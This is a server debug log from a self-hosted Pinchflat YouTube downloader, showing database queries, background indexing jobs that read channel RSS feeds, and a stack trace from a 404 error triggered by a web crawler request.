idle=589.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:16.529 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:50:16.529 [error] #PID<0.10490.0> running PinchflatWeb.Endpoint (connection #PID<0.10489.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6490/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6490/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10489.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6490/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34774}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6490", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10490.0>, params: %{}, path_info: ["sources", "3", "media", "6490", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6490"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6490/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEkOrbu4J316sAA75B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10489.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6490/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34774}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6490", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6490/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10489.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6490/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34774}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6490", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10490.0>, params: %{}, path_info: ["sources", "3", "media", "6490", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:50:27.083 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:52.318 [info] {"args":{"id":2},"id":693,"meta":{},"system_time":1784908252318709535,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:50:52.320 [debug] QUERY OK source="sources" db=1.8ms idle=378.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:50:52.320 [debug] QUERY OK source="tasks" db=1.9ms idle=378.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:50:52.323 [debug] QUERY OK source="settings" db=2.6ms idle=380.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:52.323 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:50:52.323 [debug] QUERY OK source="sources" db=2.8ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:50:52.323 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:52.323 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 15:50:52.670 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:50:52.670 [debug] QUERY OK source="media_items" db=0.2ms idle=349.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:50:52.671 [debug] QUERY OK source="media_items" db=0.2ms idle=347.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:50:52.671 [debug] QUERY OK source="tasks" db=0.0ms idle=347.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [696, 2, ~U[2026-07-24 15:50:52Z], ~U[2026-07-24 15:50:52Z]] 15:50:52.672 [info] {"args":{"id":2},"id":693,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":353157,"event":"job:stop","queue_time":12707,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:50:52.672 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:50:57.084 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.696 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:06.332 [info] {"args":{"id":1},"id":694,"meta":{},"system_time":1784908266332331931,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:51:06.332 [debug] QUERY OK source="sources" db=0.1ms idle=392.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:51:06.332 [debug] QUERY OK source="tasks" db=0.3ms idle=392.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:51:06.333 [debug] QUERY OK source="settings" db=0.2ms idle=392.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:51:06.333 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:51:06.333 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:51:06.333 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:51:06.333 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 15:51:06.518 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:51:06.518 [debug] QUERY OK source="media_items" db=0.2ms idle=185.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:51:06.521 [debug] QUERY OK source="media_items" db=2.2ms idle=186.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:51:06.522 [debug] QUERY OK source="tasks" db=0.0ms idle=189.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [697, 1, ~U[2026-07-24 15:51:06Z], ~U[2026-07-24 15:51:06Z]] 15:51:06.522 [info] {"args":{"id":1},"id":694,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190421,"event":"job:stop","queue_time":415230,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:51:06.523 [debug] QUERY OK source="tasks" db=0.3ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:51:21.347 [info] {"args":{"id":3},"id":695,"meta":{},"system_time":1784908281347290166,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:51:21.347 [debug] QUERY OK source="sources" db=0.0ms idle=1407.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:51:21.347 [debug] QUERY OK source="tasks" db=0.1ms idle=1407.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:51:21.347 [debug] QUERY OK source="settings" db=0.0ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:51:21.347 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:51:21.348 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:51:21.348 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:51:21.348 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 15:51:21.526 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:51:21.527 [debug] QUERY OK source="media_items" db=0.3ms idle=179.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:51:21.529 [debug] QUERY OK source="media_items" db=1.9ms 